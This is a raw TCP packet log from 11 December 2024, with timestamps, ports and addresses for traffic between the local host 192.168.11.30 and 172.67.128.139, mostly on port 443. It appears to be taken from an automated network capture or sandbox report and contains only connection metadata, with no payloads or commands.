Dec 11, 2024 12:15:00.965490103 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.965533018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.965575933 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.965768099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.965768099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.965768099 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:01.402822971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:01.459333897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:02.222007990 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:05.691073895 CET	49834	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:05.691097021 CET	443	49834	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:05.691288948 CET	49834	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:05.691508055 CET	49834	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:05.691519976 CET	443	49834	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:05.926631927 CET	443	49834	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:05.929783106 CET	49834	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:05.929805994 CET	443	49834	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:05.929999113 CET	49834	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:05.930017948 CET	443	49834	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:06.743566036 CET	443	49834	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:06.743618011 CET	443	49834	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:06.743849993 CET	49834	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:06.744108915 CET	49834	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:06.772995949 CET	49835	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:06.773013115 CET	443	49835	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:06.773241043 CET	49835	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:06.773478985 CET	49835	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:06.773488045 CET	443	49835	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:07.004754066 CET	443	49835	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:07.006222963 CET	49835	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:07.006233931 CET	443	49835	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:07.006387949 CET	49835	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:07.006411076 CET	443	49835	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:07.593597889 CET	443	49835	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:07.593652964 CET	443	49835	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:07.593799114 CET	49835	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:07.594085932 CET	49835	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.582092047 CET	49836	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.582123041 CET	443	49836	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:09.582273006 CET	49836	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.582442999 CET	49836	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.582462072 CET	443	49836	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:09.732582092 CET	49837	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.817627907 CET	443	49836	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:09.818840981 CET	49836	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.818861008 CET	443	49836	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:09.819128990 CET	49836	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.819144964 CET	443	49836	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:09.846535921 CET	80	49837	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:09.846723080 CET	49837	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.846898079 CET	49837	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:09.960761070 CET	80	49837	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:10.384260893 CET	443	49836	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:10.384314060 CET	443	49836	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:10.384443998 CET	49836	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:10.384715080 CET	49836	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:10.561608076 CET	80	49837	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:10.561619043 CET	80	49837	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:10.561625957 CET	80	49837	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:10.561634064 CET	80	49837	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:10.561815023 CET	49837	80	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:06.490015984 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:06.490040064 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:06.490340948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:06.506370068 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:06.506380081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:06.741053104 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:06.741280079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:06.742960930 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:06.742976904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:06.743263960 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:06.786340952 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:06.793596029 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:06.834253073 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.357902050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.358092070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.358129025 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.358308077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.358320951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.358594894 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.358647108 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.358877897 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.358890057 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.358967066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.359215021 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.359225035 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.359234095 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.359446049 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.359481096 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.359497070 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.359747887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.359759092 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.359991074 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.360258102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.360383987 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.360404968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.360433102 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.360443115 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.360631943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.360644102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.361335039 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.361356974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.361484051 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.361494064 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.361637115 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.361726999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.362191916 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.362238884 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.362262011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.362284899 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.362406015 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.362417936 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.362484932 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.363109112 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.363276005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.363286972 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.363313913 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.363466978 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.363533974 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.363547087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.363771915 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.364095926 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.364152908 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.364171982 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.364372969 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.364384890 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.364392996 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.365252018 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.365464926 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.365474939 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.365775108 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.472017050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.472307920 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.472929001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.472975969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.473265886 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.473283052 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.474261045 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.474428892 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.474447966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.474518061 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.474730015 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.474747896 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.474797964 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.475087881 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.475133896 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.475250006 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.475266933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.475337982 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.476207972 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.476250887 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.476330996 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.476349115 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.476421118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.477050066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.477087975 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.477277040 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.477323055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.477334976 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.477940083 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.478207111 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.478226900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.478276968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.478408098 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.478425026 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.478473902 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.479142904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.479181051 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.479374886 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.479387045 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.479453087 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.479609013 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.479931116 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.480159998 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.586180925 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.586236954 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.586441994 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.586455107 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.586635113 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.586993933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.587044954 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.587232113 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.587244034 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.587414026 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.587565899 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.587738991 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.588553905 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.588711977 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.588723898 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.588769913 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.588989973 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.589004040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.589054108 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.589293957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.589572906 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.589584112 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.589802027 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.590080023 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.590250969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.590298891 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.590308905 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.590415001 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.591100931 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.591243029 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.591298103 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.591365099 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.591371059 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.591727972 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.591993093 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.592128038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.592232943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.592240095 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.592310905 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.592427015 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.593075037 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.593169928 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.593302011 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.593496084 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.593501091 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.593743086 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.594075918 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.594151974 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.594261885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.594341040 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.594347000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.594548941 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.595057964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.595112085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.595362902 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.595438004 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.595444918 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.595705986 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.596019983 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.596244097 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.596278906 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.596565008 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.597219944 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.597475052 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.598135948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.598197937 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.598346949 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.598355055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.598403931 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.598608017 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.600136995 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.600147963 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.600375891 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.600383997 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.600440025 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.600635052 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.602243900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.602255106 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.602508068 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.602515936 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.602777004 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.604877949 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.604887962 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.605082035 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.605233908 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.605237961 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.605458975 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.606416941 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.606429100 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.606707096 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.606713057 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.606771946 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.606915951 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.608525991 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.608537912 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.608731985 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.608738899 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.608812094 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.608994007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.611063004 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.611073017 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.611228943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.611306906 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.611311913 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.611386061 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.611603975 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.700742960 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.700762987 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.700934887 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.701000929 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.701019049 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.701081991 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.701245070 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.702519894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.702538967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.702713966 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.702791929 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.702809095 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.702874899 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.703020096 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.704324961 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.704343081 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.704552889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.704564095 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.704607010 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.704838037 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.706861973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.706878901 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.707087040 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.707098007 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.707163095 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.707272053 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.708720922 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.708736897 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.709037066 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.709165096 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.709173918 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.709218979 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.709389925 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.710675955 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.710691929 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.710911989 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.710923910 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.711085081 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.713135958 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.713151932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.713356018 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.713471889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.713481903 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.713798046 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.714977026 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.714993000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.715215921 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.715226889 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.715289116 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.715408087 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.716834068 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.716849089 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.717029095 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.717128038 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.717135906 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.717447996 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.718842030 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.718857050 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.719007969 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.719161987 CET	49840	443	192.168.11.30	172.67.128.139
